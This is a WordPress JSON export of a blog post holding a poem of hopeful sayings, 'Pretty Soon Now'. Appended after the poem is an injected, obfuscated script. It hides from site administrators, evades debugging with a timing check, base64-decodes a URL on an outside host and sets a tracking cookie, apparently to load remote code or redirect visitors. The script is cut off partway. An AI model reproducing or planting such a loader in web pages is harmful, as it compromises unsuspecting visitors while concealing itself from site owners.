{"id":1086,"date":"2019-02-27T12:42:36","date_gmt":"2019-02-27T20:42:36","guid":{"rendered":"http:\/\/blog.ronrecord.com\/?p=1086"},"modified":"2025-10-02T10:47:38","modified_gmt":"2025-10-02T17:47:38","slug":"pretty-soon-now","status":"publish","type":"post","link":"https:\/\/blog.ronrecord.com\/index.php\/2019\/02\/27\/pretty-soon-now\/","title":{"rendered":"Pretty Soon Now"},"content":{"rendered":"\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p style=\"text-align:center\"><strong>A poem by Dr. Renaldo Recuerdo of hope and advice in the face of adversity, utilizing aphorisms and adages<\/strong><\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<pre class=\"wp-block-code\"><code>Any day now, that ship's coming in\nOur bad luck will change, storm clouds will break\n\nPretty soon now, our stars will align\nWarm Sun on our face, Heaven's embrace\n\n    Hold your head up\n        Keep your hips cocked\n    Stay on your toes\n        Bend at the knee\n    Keep your eyes peeled\n        Ear to the ground\n\nAny day now, the King will step down\nFlood waters recede, blue skies appear\n\nPretty soon now, God will smite our foes\nHe'll deliver us, Victorious!\n\n    Hold your chin up\n        Keep your head down\n    And with your nose\n        To the grindstone\n    By your bootstraps\n        Pull yourself up\n\nAny day now, she'll come back to me\nArms open and glad, warm happy home\n\nPretty soon now, her lips will kiss mine\nOur souls will find grace, our love divine\n\n    Hold your head up\n        Keep your hips cocked\n    Stay on your toes\n        Bend at the knee\n    Keep your eyes peeled\n        Ear to the ground\n\nAny day now, the band will unite\nBrothers and Sisters, we'll win the fight\n\nPretty soon now, the stage will be set\nA beach of white sand, rested and tanned\n\n    Hold your chin up\n        Keep your head down\n    And with your nose\n        To the grindstone\n    By your bootstraps\n        Pull yourself up<\/code><\/pre>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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